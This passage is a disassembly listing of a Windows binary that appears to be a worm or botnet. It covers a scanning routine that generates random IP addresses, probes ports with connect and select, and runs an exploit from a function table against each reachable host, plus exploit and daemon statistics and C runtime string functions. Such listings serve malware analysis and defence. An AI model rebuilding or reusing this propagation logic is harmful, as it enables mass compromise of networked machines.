call sub_403DB4 add esp, 20h call sub_402D40 mov eax, [ebp-4Ch] cmp [ebp-48h], eax jnb loc_40A26F mov esi, [ebp-48h] imul esi, 124h sub eax, [ebp-48h] mov [ebp-4Ch], esi mov [ebp-48h], eax loc_40A1B0: ; CODE XREF: .text:0040A269j push 124h lea ebx, dword_426C68[esi] lea edi, [ebx-100h] push 0 push edi call sub_40C6F0 lea eax, [ebp-30h] push eax push offset aS ; "%s" push 0Fh push ebx call sub_40C634 push ebx call sub_40C500 push dword ptr [ebp-64h] mov byte ptr dword_426C68[eax+esi], 0 mov al, [ebp-41h] push offset aS ; "%s" mov [ebx+12h], al mov eax, [ebp-58h] push 0FFh push edi mov [ebx+18h], eax call sub_40C634 push edi call sub_40C500 mov byte_426B68[eax+esi], 0 mov al, [ebp+0Ch] mov [ebx+10h], al mov eax, [ebp-54h] push 8 mov byte ptr [ebx+11h], 1 mov [ebx+14h], eax call loc_40CC1A add esp, 38h mov [ebp-6Ch], eax and dword ptr [ebp-4], 0 test eax, eax jz short loc_40A252 mov ecx, edi push offset sub_40A506 mov edi, offset aScn ; "SCN" mov esi, eax call sub_408395 mov esi, [ebp-4Ch] jmp short loc_40A254 ; --------------------------------------------------------------------------- loc_40A252: ; CODE XREF: .text:0040A238j xor eax, eax loc_40A254: ; CODE XREF: .text:0040A250j or dword ptr [ebp-4], 0FFFFFFFFh mov eax, [eax] add esi, 124h dec dword ptr [ebp-48h] mov [ebx+20h], eax mov [ebp-4Ch], esi jnz loc_40A1B0 loc_40A26F: ; CODE XREF: .text:00409E2Fj ; .text:00409E45j ... call sub_40E680 retn 1Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 1Ch and dword ptr [esp], 0 push ebx push esi mov ebx, offset dword_433BC0 push edi mov [esp+18h], ebx loc_40A290: ; CODE XREF: .text:0040A2F7j ; .text:0040A314j ... mov eax, dword_433BC4 mov eax, [eax] mov [esp+14h], eax mov [esp+10h], ebx loc_40A29F: ; CODE XREF: .text:0040A2DBj mov eax, dword_433BC4 lea edi, [esp+18h] lea esi, [esp+10h] mov [esp+1Ch], eax call sub_402E50 test al, al jz short loc_40A32F push offset aScn ; "SCN" call sub_402E02 add eax, 5 push eax call sub_40CDC0 test eax, eax pop ecx pop ecx jz short loc_40A2DD lea edi, [esp+20h] call sub_402E22 jmp short loc_40A29F ; --------------------------------------------------------------------------- loc_40A2DD: ; CODE XREF: .text:0040A2D0j call sub_402E02 mov edi, [eax+40h] lea esi, [esp+10h] call sub_402E02 mov eax, [eax] call sub_408409 test al, al jz short loc_40A290 xor eax, eax xor ecx, ecx loc_40A2FD: ; CODE XREF: .text:0040A312j cmp dword_426C88[ecx], edi jz short loc_40A319 add ecx, 124h inc eax cmp ecx, 0CD50h jbe short loc_40A2FD jmp loc_40A290 ; --------------------------------------------------------------------------- loc_40A319: ; CODE XREF: .text:0040A303j inc dword ptr [esp+0Ch] imul eax, 124h mov byte_426C79[eax], 0 jmp loc_40A290 ; --------------------------------------------------------------------------- loc_40A32F: ; CODE XREF: .text:0040A2B7j push dword ptr [esp+0Ch] push offset aScanAllScanThr ; "Scan: All Scan Threads Stopped. %d kill"... push dword ptr [ebp+18h] push dword ptr [ebp+0Ch] push offset dword_426A3C call sub_403DB4 add esp, 14h pop edi pop esi pop ebx mov esp, ebp pop ebp retn 1Ch ; --------------------------------------------------------------------------- push ebp lea ebp, [esp-188h] sub esp, 208h mov eax, dword_423068 xor eax, ebp mov [ebp+184h], eax push ebx push esi push edi mov edi, [ebp+1A0h] mov esi, 1FFh xor ebx, ebx push esi lea eax, [ebp-7Bh] push ebx push eax mov [ebp-7Ch], bl call sub_40C6F0 push offset aStatisticsExpl ; "Statistics: Exploits:" lea eax, [ebp-7Ch] push esi push eax mov [ebp-80h], ebx call sub_40C634 add esp, 18h xor eax, eax loc_40A3A4: ; CODE XREF: .text:0040A3D3j push dword_42452C[eax] lea eax, dword_424508[eax] push eax lea eax, [ebp-7Ch] push eax push offset aSSD ; "%s %s: %d" push esi push eax call sub_40C634 add esp, 18h inc dword ptr [ebp-80h] mov eax, [ebp-80h] imul eax, 2Ch cmp dword_424528[eax], ebx jnz short loc_40A3A4 lea eax, [ebp-7Ch] push eax push offset aSDaemons ; "%s; Daemons:" push esi push eax call sub_40C634 push dword_4338C4 lea eax, [ebp-7Ch] push eax push offset aSTftpD ; "%s TFTP: %d" push esi push eax call sub_40C634 push dword_4338B8 lea eax, [ebp-7Ch] push eax push offset aSHttpD ; "%s HTTP: %d" push esi push eax call sub_40C634 lea eax, [ebp-7Ch] push eax call sub_40C500 mov [ebp+eax-7Ch], bl lea eax, [ebp-7Ch] push eax push offset aS ; "%s" push edi push dword ptr [ebp+194h] push offset dword_426A3C call sub_403DB4 mov ecx, [ebp+184h] add esp, 50h pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A add ebp, 188h leave retn 1Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A455 proc near ; CODE XREF: sub_40A506+170p ; sub_40A506+28Cp ... var_128 = dword ptr -128h var_124 = dword ptr -124h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 128h mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax push esi push edi xor edi, edi push 6 inc edi push edi push 2 mov [ebp+var_18], edi call ds:dword_41E240 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40A486 xor al, al jmp short loc_40A4F8 ; --------------------------------------------------------------------------- loc_40A486: ; CODE XREF: sub_40A455+2Bj push [ebp+arg_4] call ds:dword_41E238 ; htons mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax lea eax, [ebp+var_18] push eax push 8004667Eh push esi mov [ebp+var_14], 2 call ds:dword_41E278 ; ioctlsocket and [ebp+var_1C], 0 push 10h lea eax, [ebp+var_14] push eax push esi mov [ebp+var_20], 5 mov [ebp+var_124], esi mov [ebp+var_128], edi call ds:dword_41E258 ; connect lea eax, [ebp+var_20] push eax push 0 lea eax, [ebp+var_128] push eax push 0 push 0 call ds:dword_41E26C ; select push esi mov edi, eax call ds:dword_41E244 ; closesocket test edi, edi setnle al loc_40A4F8: ; CODE XREF: sub_40A455+2Fj mov ecx, [ebp+var_4] pop edi xor ecx, ebp pop esi call sub_40AB4A leave retn sub_40A455 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40A506 proc near ; DATA XREF: .text:0040A23Co var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_244 = dword ptr -244h var_240 = byte ptr -240h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = byte ptr -134h var_133 = byte ptr -133h var_130 = byte ptr -130h var_30 = byte ptr -30h var_20 = byte ptr -20h var_1E = byte ptr -1Eh var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 25Ch mov eax, dword_423068 xor eax, esp mov [esp+25Ch+var_4], eax push ebx push esi mov esi, [ebp+arg_0] push edi push 49h pop ecx lea edi, [esp+268h+var_130] rep movsd loc_40A532: ; CODE XREF: sub_40A506+541j ; sub_40A506+552j lea eax, [esp+268h+var_250] push eax lea eax, [esp+26Ch+var_254] push eax lea eax, [esp+270h+var_258] push eax lea eax, [esp+274h+var_25C] push eax or ebx, 0FFFFFFFFh lea eax, [esp+278h+var_30] push offset aD_D_D_D ; "%d.%d.%d.%d" push eax mov [esp+280h+var_25C], ebx mov [esp+280h+var_258], ebx mov [esp+280h+var_254], ebx mov [esp+280h+var_250], ebx call sub_40D33B add esp, 18h xor edi, edi cmp [esp+268h+var_1E], 0 jz short loc_40A5E4 cmp [esp+268h+var_25C], ebx mov esi, 0FEh jnz short loc_40A592 push edi mov eax, esi call sub_402D8A pop ecx mov [esp+268h+var_25C], eax loc_40A592: ; CODE XREF: sub_40A506+7Dj cmp [esp+268h+var_258], ebx jnz short loc_40A5A5 push edi mov eax, esi call sub_402D8A pop ecx mov [esp+268h+var_258], eax loc_40A5A5: ; CODE XREF: sub_40A506+90j cmp [esp+268h+var_254], ebx jnz short loc_40A5B8 push edi mov eax, esi call sub_402D8A pop ecx mov [esp+268h+var_254], eax loc_40A5B8: ; CODE XREF: sub_40A506+A3j mov eax, [esp+268h+var_250] cmp eax, ebx jnz short loc_40A5CD push edi mov eax, esi call sub_402D8A pop ecx mov [esp+268h+var_250], eax loc_40A5CD: ; CODE XREF: sub_40A506+B8j shl eax, 8 add eax, [esp+268h+var_254] shl eax, 8 add eax, [esp+268h+var_258] shl eax, 8 add eax, [esp+268h+var_25C] jmp short loc_40A64C ; --------------------------------------------------------------------------- loc_40A5E4: ; CODE XREF: sub_40A506+72j mov eax, [esp+268h+var_18] sub eax, edi jz short loc_40A61D dec eax jz short loc_40A5FC dec eax jnz short loc_40A631 mov eax, 0FEh jmp short loc_40A610 ; --------------------------------------------------------------------------- loc_40A5FC: ; CODE XREF: sub_40A506+EAj mov esi, 0FEh loc_40A601: ; CODE XREF: sub_40A506+129j push edi mov eax, esi call sub_402D8A mov [esp+26Ch+var_254], eax pop ecx mov eax, esi loc_40A610: ; CODE XREF: sub_40A506+F4j push edi call sub_402D8A pop ecx mov [esp+268h+var_250], eax jmp short loc_40A635 ; --------------------------------------------------------------------------- loc_40A61D: ; CODE XREF: sub_40A506+E7j mov esi, 0FEh push edi mov eax, esi call sub_402D8A pop ecx mov [esp+268h+var_258], eax jmp short loc_40A601 ; --------------------------------------------------------------------------- loc_40A631: ; CODE XREF: sub_40A506+EDj mov eax, [esp+268h+var_250] loc_40A635: ; CODE XREF: sub_40A506+115j shl eax, 8 add eax, [esp+268h+var_254] shl eax, 8 add eax, [esp+268h+var_258] shl eax, 8 add eax, [esp+268h+var_25C] xor edi, edi loc_40A64C: ; CODE XREF: sub_40A506+DCj mov [esp+268h+var_14], eax mov eax, [esp+268h+var_1C] cmp eax, ebx jnz loc_40A864 xor ebx, ebx mov [esp+268h+var_248], ebx mov eax, offset dword_424528 loc_40A66D: ; CODE XREF: sub_40A506+18Dj push dword ptr [eax] push [esp+26Ch+var_14] call sub_40A455 test al, al pop ecx pop ecx jnz short loc_40A69A inc ebx mov eax, ebx imul eax, 2Ch lea eax, dword_424528[eax] cmp [eax], edi mov [esp+268h+var_248], ebx jnz short loc_40A66D jmp loc_40AA38 ; --------------------------------------------------------------------------- loc_40A69A: ; CODE XREF: sub_40A506+179j push 110h lea eax, [esp+26Ch+var_240] push edi push eax call sub_40C6F0 add esp, 0Ch lea eax, [esp+268h+var_130] push eax push offset aS ; "%s" lea eax, [esp+270h+var_240] push 0FFh push eax call sub_40C634 lea eax, [esp+278h+var_240] push eax call sub_40C500 mov [esp+eax+27Ch+var_240], 0 mov eax, [esp+27Ch+var_14] mov [esp+27Ch+var_140], ebx imul ebx, 2Ch mov [esp+27Ch+var_13C], eax mov eax, dword_424528[ebx] mov [esp+27Ch+var_138], eax mov al, [esp+27Ch+var_20] sub esp, 0FCh mov [esp+378h+var_134], al mov al, [esp+378h+var_1E] push 44h pop ecx mov [esp+378h+var_133], al lea esi, [esp+378h+var_240] mov edi, esp rep movsd call off_424530[ebx] mov esi, [esp+378h+var_250] shl esi, 8 add esi, [esp+378h+var_254] add esp, 110h shl esi, 8 add esi, [esp+268h+var_258] mov [esp+268h+var_24C], 100h shl esi, 8 add esi, [esp+268h+var_25C] mov [esp+268h+var_244], esi loc_40A764: ; CODE XREF: sub_40A506+353j mov eax, [esp+268h+var_24C] mov ecx, [esp+268h+var_254] add eax, ecx shl eax, 8 add eax, [esp+268h+var_258] shl eax, 8 add eax, [esp+268h+var_25C] cmp eax, esi mov [esp+268h+var_14], eax jz loc_40A849 push dword_424528[ebx] push eax call sub_40A455 test al, al pop ecx pop ecx jz loc_40A849 push 110h lea eax, [esp+26Ch+var_240] push 0 push eax call sub_40C6F0 add esp, 0Ch lea eax, [esp+268h+var_130] push eax push offset aS ; "%s" lea eax, [esp+270h+var_240] push 0FFh push eax call sub_40C634 lea eax, [esp+278h+var_240] push eax call sub_40C500 mov [esp+eax+27Ch+var_240], 0 mov eax, [esp+27Ch+var_14] mov [esp+27Ch+var_13C], eax mov eax, [esp+27Ch+var_248] mov [esp+27Ch+var_140], eax mov eax, dword_424528[ebx] mov [esp+27Ch+var_138], eax mov al, [esp+27Ch+var_20] sub esp, 0FCh mov [esp+378h+var_134], al mov al, [esp+378h+var_1E] push 44h pop ecx mov [esp+378h+var_133], al lea esi, [esp+378h+var_240] mov edi, esp rep movsd call off_424530[ebx] mov esi, [esp+378h+var_244] add esp, 110h loc_40A849: ; CODE XREF: sub_40A506+27Fj ; sub_40A506+295j add [esp+268h+var_24C], 100h cmp [esp+268h+var_24C], 0FE00h jle loc_40A764 jmp loc_40AA38 ; --------------------------------------------------------------------------- loc_40A864: ; CODE XREF: sub_40A506+156j imul eax, 2Ch push dword_424528[eax] push [esp+26Ch+var_14] call sub_40A455 test al, al pop ecx pop ecx jz loc_40AA38 push 110h lea eax, [esp+26Ch+var_240] push edi push eax call sub_40C6F0 add esp, 0Ch lea eax, [esp+268h+var_130] push eax push offset aS ; "%s" lea eax, [esp+270h+var_240] push 0FFh push eax call sub_40C634 lea eax, [esp+278h+var_240] push eax call sub_40C500 mov [esp+eax+27Ch+var_240], 0 mov eax, [esp+27Ch+var_14] mov [esp+27Ch+var_13C], eax mov eax, [esp+27Ch+var_1C] mov [esp+27Ch+var_140], eax imul eax, 2Ch mov ecx, dword_424528[eax] mov [esp+27Ch+var_138], ecx mov cl, [esp+27Ch+var_20] sub esp, 0FCh mov [esp+378h+var_134], cl push 44h pop ecx lea esi, [esp+378h+var_240] mov edi, esp rep movsd call off_424530[eax] mov ebx, [esp+378h+var_250] shl ebx, 8 add ebx, [esp+378h+var_254] add esp, 110h shl ebx, 8 add ebx, [esp+268h+var_258] mov [esp+268h+var_24C], 100h shl ebx, 8 add ebx, [esp+268h+var_25C] loc_40A942: ; CODE XREF: sub_40A506+52Cj mov eax, [esp+268h+var_24C] mov ecx, [esp+268h+var_254] add eax, ecx shl eax, 8 add eax, [esp+268h+var_258] shl eax, 8 add eax, [esp+268h+var_25C] cmp eax, ebx mov [esp+268h+var_14], eax jz loc_40AA22 mov ecx, [esp+268h+var_1C] imul ecx, 2Ch push dword_424528[ecx] push eax call sub_40A455 test al, al pop ecx pop ecx jz loc_40AA22 push 110h lea eax, [esp+26Ch+var_240] push 0 push eax call sub_40C6F0 add esp, 0Ch lea eax, [esp+268h+var_130] push eax push offset aS ; "%s" lea eax, [esp+270h+var_240] push 0FFh push eax call sub_40C634 lea eax, [esp+278h+var_240] push eax call sub_40C500 mov [esp+eax+27Ch+var_240], 0 mov eax, [esp+27Ch+var_14] mov [esp+27Ch+var_13C], eax mov eax, [esp+27Ch+var_1C] mov [esp+27Ch+var_140], eax imul eax, 2Ch mov ecx, dword_424528[eax] mov [esp+27Ch+var_138], ecx mov cl, [esp+27Ch+var_20] sub esp, 0FCh mov [esp+378h+var_134], cl push 44h pop ecx lea esi, [esp+378h+var_240] mov edi, esp rep movsd call off_424530[eax] add esp, 110h loc_40AA22: ; CODE XREF: sub_40A506+45Dj ; sub_40A506+47Dj add [esp+268h+var_24C], 100h cmp [esp+268h+var_24C], 0FE00h jle loc_40A942 loc_40AA38: ; CODE XREF: sub_40A506+18Fj ; sub_40A506+359j ... push 64h call ds:off_41E0E0 cmp byte_426A40, 0 jnz loc_40A532 push 2710h call ds:off_41E0E0 jmp loc_40A532 sub_40A506 endp ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40AA5E proc near ; CODE XREF: .text:00409139p jmp ds:dword_41E1C8 sub_40AA5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40AA64 proc near ; CODE XREF: .text:004091D7p jmp ds:dword_41E1C4 sub_40AA64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40AA6A proc near ; CODE XREF: .text:00409109p ; .text:0040914Cp ... jmp ds:dword_41E1C0 sub_40AA6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40AA70 proc near ; CODE XREF: .text:0040915Bp ; .text:00409249p ... jmp ds:dword_41E1BC sub_40AA70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40AA76 proc near ; CODE XREF: .text:0040923Ap jmp ds:dword_41E1B8 sub_40AA76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40AA7C proc near ; CODE XREF: .text:00409332p jmp ds:dword_41E1B0 sub_40AA7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40AA82 proc near ; CODE XREF: sub_401000+31Bp ; sub_4018DF+Ap ... jmp loc_40CC1A sub_40AA82 endp ; =============== S U B R O U T I N E ======================================= sub_40AA87 proc near ; DATA XREF: r69pu5ti:004218A8o mov dword ptr [ecx], offset off_41E328 jmp sub_401DDD sub_40AA87 endp ; --------------------------------------------------------------------------- loc_40AA92: ; DATA XREF: r69pu5ti:off_41E328o push esi mov esi, ecx mov dword ptr [esi], offset off_41E328 call sub_401DDD test byte ptr [esp+8], 1 jz short loc_40AAAE push esi call sub_40CB3C pop ecx loc_40AAAE: ; CODE XREF: .text:0040AAA5j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_40AAB4 proc near ; CODE XREF: sub_4020D9+Dp push 44h mov eax, offset sub_41D5F3 call sub_40E5CD push offset aStringTooLong ; "string too long" lea ecx, [ebp-28h] call sub_4021C2 and dword ptr [ebp-4], 0 lea eax, [ebp-28h] push eax lea ecx, [ebp-50h] call sub_401DA8 push offset dword_421F60 lea eax, [ebp-50h] push eax mov dword ptr [ebp-50h], offset off_41E31C call sub_40E1BC int 3 ; Trap to Debugger sub_40AAB4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40AAF3 proc near ; CODE XREF: sub_401EE3+13p ; sub_40204E+Fp push 44h mov eax, offset sub_41D5F3 call sub_40E5CD push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-28h] call sub_4021C2 and dword ptr [ebp-4], 0 lea eax, [ebp-28h] push eax lea ecx, [ebp-50h] call sub_401DA8 push offset dword_4218A4 lea eax, [ebp-50h] push eax mov dword ptr [ebp-50h], offset off_41E328 call sub_40E1BC int 3 ; Trap to Debugger push esi push dword ptr [esp+8] mov esi, ecx call sub_402188 mov dword ptr [esi], offset off_41E328 mov eax, esi pop esi retn 4 sub_40AAF3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40AB4A proc near ; CODE XREF: sub_401000+3FFp ; sub_40140A+178p ... cmp ecx, dword_423068 jnz short loc_40AB54 rep retn ; --------------------------------------------------------------------------- loc_40AB54: ; CODE XREF: sub_40AB4A+6j jmp sub_40E68F sub_40AB4A endp ; =============== S U B R O U T I N E ======================================= sub_40AB59 proc near ; CODE XREF: sub_40AC10+Dp ; sub_40AD33+1Ap ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax push esi mov esi, ecx mov byte ptr [esi+0Ch], 0 jnz short loc_40ABCB call sub_40F39E mov [esi+8], eax mov ecx, [eax+6Ch] mov [esi], ecx mov ecx, [eax+68h] mov [esi+4], ecx mov ecx, [esi] cmp ecx, off_423678 jz short loc_40AB97 mov ecx, dword_423594 test [eax+70h], ecx jnz short loc_40AB97 call sub_40F0B2 mov [esi], eax loc_40AB97: ; CODE XREF: sub_40AB59+2Aj ; sub_40AB59+35j mov eax, [esi+4] cmp eax, dword_423498 jz short loc_40ABB8 mov eax, [esi+8] mov ecx, dword_423594 test [eax+70h], ecx jnz short loc_40ABB8 call sub_40E9A1 mov [esi+4], eax loc_40ABB8: ; CODE XREF: sub_40AB59+47j ; sub_40AB59+55j mov eax, [esi+8] test byte ptr [eax+70h], 2 jnz short loc_40ABD5 or dword ptr [eax+70h], 2 mov byte ptr [esi+0Ch], 1 jmp short loc_40ABD5 ; --------------------------------------------------------------------------- loc_40ABCB: ; CODE XREF: sub_40AB59+Dj mov ecx, [eax] mov [esi], ecx mov eax, [eax+4] mov [esi+4], eax loc_40ABD5: ; CODE XREF: sub_40AB59+66j ; sub_40AB59+70j mov eax, esi pop esi retn 4 sub_40AB59 endp ; =============== S U B R O U T I N E ======================================= sub_40ABDB proc near ; CODE XREF: sub_40AC10+86p ; sub_40ACE3+39j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push edi loc_40ABE5: ; CODE XREF: sub_40ABDB+2Ej movzx eax, byte ptr [esi] lea ecx, [eax-41h] inc esi cmp ecx, 19h ja short loc_40ABF4 add eax, 20h loc_40ABF4: ; CODE XREF: sub_40ABDB+14j movzx ecx, byte ptr [edx] lea edi, [ecx-41h] inc edx cmp edi, 19h ja short loc_40AC03 add ecx, 20h loc_40AC03: ; CODE XREF: sub_40ABDB+23j test eax, eax jz short loc_40AC0B cmp eax, ecx jz short loc_40ABE5 loc_40AC0B: ; CODE XREF: sub_40ABDB+2Aj pop edi sub eax, ecx pop esi retn sub_40ABDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC10 proc near ; CODE XREF: sub_40ACE3+45p ; sub_418367+8Fp var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push [ebp+arg_8] lea ecx, [ebp+var_10] call sub_40AB59 xor ebx, ebx cmp [ebp+arg_0], ebx jnz short loc_40AC57 call sub_40F7D4 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h cmp [ebp+var_4], bl jz short loc_40AC4D mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_40AC4D: ; CODE XREF: sub_40AC10+34j mov eax, 7FFFFFFFh jmp loc_40ACE0 ; --------------------------------------------------------------------------- loc_40AC57: ; CODE XREF: sub_40AC10+17j push edi mov edi, [ebp+arg_4] cmp edi, ebx jnz short loc_40AC8A call sub_40F7D4 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h cmp [ebp+var_4], bl jz short loc_40AC83 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_40AC83: ; CODE XREF: sub_40AC10+6Aj mov eax, 7FFFFFFFh jmp short loc_40ACDF ; --------------------------------------------------------------------------- loc_40AC8A: ; CODE XREF: sub_40AC10+4Dj mov eax, [ebp+var_10] cmp [eax+14h], ebx jnz short loc_40AC9F push edi push [ebp+arg_0] call sub_40ABDB pop ecx pop ecx jmp short loc_40ACD3 ; --------------------------------------------------------------------------- loc_40AC9F: ; CODE XREF: sub_40AC10+80j push esi loc_40ACA0: ; CODE XREF: sub_40AC10+BCj mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] lea ecx, [ebp+var_10] push ecx push eax call sub_40F65B inc [ebp+arg_0] mov esi, eax movzx eax, byte ptr [edi] lea ecx, [ebp+var_10] push ecx push eax call sub_40F65B add esp, 10h inc edi cmp esi, ebx jz short loc_40ACCE cmp esi, eax jz short loc_40ACA0 loc_40ACCE: ; CODE XREF: sub_40AC10+B8j sub esi, eax mov eax, esi pop esi loc_40ACD3: ; CODE XREF: sub_40AC10+8Dj cmp [ebp+var_4], bl jz short loc_40ACDF mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh loc_40ACDF: ; CODE XREF: sub_40AC10+78j ; sub_40AC10+C6j pop edi loc_40ACE0: ; CODE XREF: sub_40AC10+42j pop ebx leave retn sub_40AC10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ACE3 proc near ; CODE XREF: sub_401000+2C6p ; sub_403249+26Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi xor esi, esi cmp dword_425E60, esi jnz short loc_40AD21 cmp [ebp+arg_0], esi jnz short loc_40AD15 loc_40ACF6: ; CODE XREF: sub_40ACE3+35j call sub_40F7D4 push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h mov eax, 7FFFFFFFh jmp short loc_40AD30 ; --------------------------------------------------------------------------- loc_40AD15: ; CODE XREF: sub_40ACE3+11j cmp [ebp+arg_4], esi jz short loc_40ACF6 pop esi pop ebp jmp sub_40ABDB ; --------------------------------------------------------------------------- loc_40AD21: ; CODE XREF: sub_40ACE3+Cj push esi push [ebp+arg_4] push [ebp+arg_0] call sub_40AC10 add esp, 0Ch loc_40AD30: ; CODE XREF: sub_40ACE3+30j pop esi pop ebp retn sub_40ACE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AD33 proc near ; CODE XREF: sub_40AE23+51p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi jz loc_40AE1C push [ebp+arg_C] lea ecx, [ebp+var_10] call sub_40AB59 cmp [ebp+arg_0], ebx jnz short loc_40AD85 loc_40AD57: ; CODE XREF: sub_40AD33+57j call sub_40F7D4 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h cmp [ebp+var_4], bl jz short loc_40AD7B mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_40AD7B: ; CODE XREF: sub_40AD33+3Fj mov eax, 7FFFFFFFh jmp loc_40AE1E ; --------------------------------------------------------------------------- loc_40AD85: ; CODE XREF: sub_40AD33+22j mov edi, [ebp+arg_4] cmp edi, ebx jz short loc_40AD57 mov esi, 7FFFFFFFh cmp [ebp+arg_8], esi jbe short loc_40ADBE call sub_40F7D4 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h cmp [ebp+var_4], bl jz short loc_40ADBA mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_40ADBA: ; CODE XREF: sub_40AD33+7Ej mov eax, esi jmp short loc_40AE1E ; --------------------------------------------------------------------------- loc_40ADBE: ; CODE XREF: sub_40AD33+61j mov eax, [ebp+var_10] cmp [eax+14h], ebx jnz short loc_40ADE3 push [ebp+arg_8] push edi push [ebp+arg_0] call sub_40F820 add esp, 0Ch loc_40ADD5: ; CODE XREF: sub_40AD33+E7j cmp [ebp+var_4], bl jz short loc_40AE1E mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh jmp short loc_40AE1E ; --------------------------------------------------------------------------- loc_40ADE3: ; CODE XREF: sub_40AD33+91j ; sub_40AD33+E1j mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] lea ecx, [ebp+var_10] push ecx push eax call sub_40F65B inc [ebp+arg_0] mov esi, eax movzx eax, byte ptr [edi] lea ecx, [ebp+var_10] push ecx push eax call sub_40F65B add esp, 10h inc edi dec [ebp+arg_8] jz short loc_40AE16 cmp esi, ebx jz short loc_40AE16 cmp esi, eax jz short loc_40ADE3 loc_40AE16: ; CODE XREF: sub_40AD33+D9j ; sub_40AD33+DDj sub esi, eax mov eax, esi jmp short loc_40ADD5 ; --------------------------------------------------------------------------- loc_40AE1C: ; CODE XREF: sub_40AD33+Ej xor eax, eax loc_40AE1E: ; CODE XREF: sub_40AD33+4Dj ; sub_40AD33+89j ... pop edi pop esi pop ebx leave retn sub_40AD33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE23 proc near ; CODE XREF: sub_40140A+E0p ; sub_40158F+143p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi xor esi, esi cmp dword_425E60, esi jnz short loc_40AE6A cmp [ebp+arg_0], esi jnz short loc_40AE55 loc_40AE36: ; CODE XREF: sub_40AE23+35j ; sub_40AE23+3Ej call sub_40F7D4 push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h mov eax, 7FFFFFFFh jmp short loc_40AE7C ; --------------------------------------------------------------------------- loc_40AE55: ; CODE XREF: sub_40AE23+11j cmp [ebp+arg_4], esi jz short loc_40AE36 cmp [ebp+arg_8], 7FFFFFFFh ja short loc_40AE36 pop esi pop ebp jmp sub_40F820 ; --------------------------------------------------------------------------- loc_40AE6A: ; CODE XREF: sub_40AE23+Cj push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40AD33 add esp, 10h loc_40AE7C: ; CODE XREF: sub_40AE23+30j pop esi pop ebp retn sub_40AE23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE7F proc near ; CODE XREF: sub_4018DF+63p ; sub_401BBC+41p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_8] mov eax, edi sub eax, 0 jz loc_40C477 dec eax jz loc_40C466 dec eax jz loc_40C438 dec eax jz loc_40C3F0 dec eax jz loc_40C367 mov 